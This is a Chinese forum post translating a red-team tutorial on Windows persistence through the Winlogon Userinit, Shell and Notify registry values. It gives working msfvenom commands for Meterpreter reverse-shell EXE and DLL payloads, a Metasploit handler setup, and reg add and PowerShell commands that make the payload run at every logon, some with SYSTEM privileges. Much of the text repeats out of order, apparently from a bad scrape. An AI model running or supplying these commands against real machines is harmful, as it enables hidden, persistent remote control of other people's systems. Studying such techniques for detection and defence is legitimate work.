首页
社区
课程
招聘
[翻译]长久控制-Winlogon Helper DLL
发表于: 2020-2-26 22:46 8622

[翻译]长久控制-Winlogon Helper DLL

2020-2-26 22:46
8622

原文链接:https://pentestlab.blog/2020/01/14/persistence-winlogon-helper-dll/

翻译:看雪翻译小组-玉林小学生

校对:看雪翻译小组-sudozhange


Winlogon是一个Windows组件,主要负责处理登录、登出、认证时加载用户profile,关机、锁屏等活动。这类行为由注册表管理,它指定了Windows登录发生时执行什么进程。从红队视角看,这些事件可以用来触发执行任意payload以实现长久控制。

实现这种长久控制需要修改下面这些注册表项:

在目标系统执行payload时,需要依据用于捕获的连接相应地配置Metasploit的“handler”模块。

需要投递可执行文件放到系统中(system32)。修改注册表键值“Userinit”包含任意payload文件,就可以在Windows登录时让两个文件同时执行(userinit.exe和pentestlab.exe)。

Metasploit – Meterpreter

“Shell”注册表键值也可以产生上面类似的行为。

Registry Key – Shell

Windows执行授权操作时会执行恶意payload并建立一个连接。

Persistence – Shell Registry Key Modification

在旧版本(Windows 7之前)操作系统中可以找到”Notify”注册表键值,它指向一个处理Winlogon事件用于通知消息打包的DLL。将该注册表的键值替换为任意DLL可以让Window在登录时执行该DLL。下面的命令可以让Metasploit产生一个DLL形式的payload。

需要修改“DLLName”注册表项为任意DLL名。

下一次Windows登录时,DLL将以SYSTEM权限被执行并打开一个Meterpreter连接。

Persistence Notify Registry Key – Meterpreter

除了注册表编辑器以外,可以在提权的命令行编辑器中顺序执行下面两条命令来修改“Shell”和”Userinit”注册表项。

也可以使用PowerShell的“Set-ItemProperty”命令来修改现有的注册表项。

参考文献:

https://attack.mitre.org/techniques/T1004/

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify
Metasploit工具”msfvenom”可用于产生任意格式的任意payloads。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe > pentestlab.exe
Metasploit – msfvenom

在目标系统执行payload时,需要依据用于捕获的连接相应地配置Metasploit的“handler”模块。

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.0.1
set LPORT 4444
exploit
Metasploit – Handler Module

需要投递可执行文件放到系统中(system32)。修改注册表键值“Userinit”包含任意payload文件,就可以在Windows登录时让两个文件同时执行(userinit.exe和pentestlab.exe)。

Registry Key – Userinit
Payload被成功执行将开启一个Meterpreter会话。

Metasploit – Meterpreter

“Shell”注册表键值也可以产生上面类似的行为。

Registry Key – Shell

Windows执行授权操作时会执行恶意payload并建立一个连接。

Persistence – Shell Registry Key Modification

在旧版本(Windows 7之前)操作系统中可以找到”Notify”注册表键值,它指向一个处理Winlogon事件用于通知消息打包的DLL。将该注册表的键值替换为任意DLL可以让Window在登录时执行该DLL。下面的命令可以让Metasploit产生一个DLL形式的payload。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f dll > pentestlab.dll
Metasploit – msfvenom DLL Generation

需要修改“DLLName”注册表项为任意DLL名。

Registry Key – Notify

下一次Windows登录时,DLL将以SYSTEM权限被执行并打开一个Meterpreter连接。

Persistence Notify Registry Key – Meterpreter

除了注册表编辑器以外,可以在提权的命令行编辑器中顺序执行下面两条命令来修改“Shell”和”Userinit”注册表项。

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, pentestlab.exe" /f
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /d "explorer.exe, pentestlab.exe" /f
Winlogon Registry Keys – Command Prompt

也可以使用PowerShell的“Set-ItemProperty”命令来修改现有的注册表项。

Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Userinit" "Userinit.exe, pentestlab.exe" -Force
Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" "explorer.exe, pentestlab.exe" -Force
Winlogon Registry Keys – PowerShell

参考文献:

https://attack.mitre.org/techniques/T1004/

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe > pentestlab.exe
Metasploit – msfvenom

在目标系统执行payload时,需要依据用于捕获的连接相应地配置Metasploit的“handler”模块。

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.0.1
set LPORT 4444
exploit
Metasploit – Handler Module
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.0.1
set LPORT 4444
exploit
Metasploit – Handler Module

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 2
支持
分享
最新回复 (3)
雪    币: 83
活跃值: (1087)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
2
已阅
2020-2-27 15:27
0
雪    币: 364
活跃值: (1716)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
3
已阅
2020-3-19 14:42
0
雪    币: 3836
活跃值: (4142)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
支持
2020-3-19 15:59
0
游客
登录 | 注册 方可回帖
返回
//